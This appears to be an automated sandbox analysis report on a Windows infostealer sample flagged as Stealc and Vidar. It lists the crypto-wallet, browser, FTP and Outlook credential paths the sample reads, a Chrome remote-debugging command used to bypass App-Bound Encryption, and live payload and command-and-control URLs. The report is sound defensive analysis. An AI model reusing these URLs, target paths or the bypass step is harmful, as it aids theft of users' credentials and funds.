Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1920780463.000000000067C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1920780463.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1396197301.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7840, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20C40 sqlite3_bind_zeroblob,	0_2_6CF20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20D60 sqlite3_bind_parameter_name,	0_2_6CF20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48EA0 sqlite3_clear_bindings,	0_2_6CE48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE46410 bind,WSAGetLastError,	0_2_6CE46410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE460B0 listen,WSAGetLastError,	0_2_6CE460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE46070 PR_Listen,	0_2_6CE46070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4C030 sqlite3_bind_parameter_count,	0_2_6CE4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD22D0 sqlite3_bind_blob,	0_2_6CDD22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE463C0 PR_Bind,	0_2_6CE463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Windows Service	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 Scheduled Task/Job	1 Windows Service	4 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Regsvr32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FunnyJellyfish[1].exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	47%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\is-1VUQP.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\unins000.exe (copy)	3%	ReversingLabs
C:\Users\user\AppData\Roaming\DelightfulCard.dll (copy)	3%	ReversingLabs
C:\Users\user\AppData\Roaming\is-4PJR3.tmp	3%	ReversingLabs
C:\Users\user\DocumentsHCAEHJJKFC.exe	47%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe1008024001n	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/FunnyJellyfish.exeZ	0%	Avira URL Cloud	safe
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe506ncoded	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exez	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/FunnyJellyfish.exe6	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeespace	0%	Avira URL Cloud	safe
https://ecs.n	0%	Avira URL Cloud	safe
http://31.41.244.11/files/FunnyJellyfish.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exeemp	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe506238476Q	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeg	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpOS=Windows_NTPat	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllM	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5062384760	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223106442&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://c.msn.com/c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F27E49CDADA4719BA52FA6E0688DEC0&MUID=3AFA34AF60E96DDF261E219161EE6CD7	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223105442&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223105451&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223097965&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
https://c.msn.com/c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://sb.scorecardresearch.com/b2?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://chrome.cloudflare-dns.com/dns-query	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223106331&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	false		high
http://31.41.244.11/files/random.exeespace	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe1008024001n	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log9.9.dr	false		high
http://31.41.244.11/files/random.exe506ncoded	skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe3	skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe1	skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000025.00000002.2625519157.00000230C8C2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000025.00000002.2625519157.00000230C8690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	false		high
http://www.innosetup.com/	FunnyJellyfish.exe, 0000001C.00000003.2526219244.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.exe, 0000001C.00000003.2525997811.0000000002380000.00000004.00001000.00020000.00000000.sdmp, FunnyJellyfish.tmp, 0000001D.00000000.2526825380.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000025.00000002.2625519157.00000230C8B6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000025.00000002.2637251804.00000230D867F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	cd745b4d-152e-43d9-8245-32322c779576.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	false		high
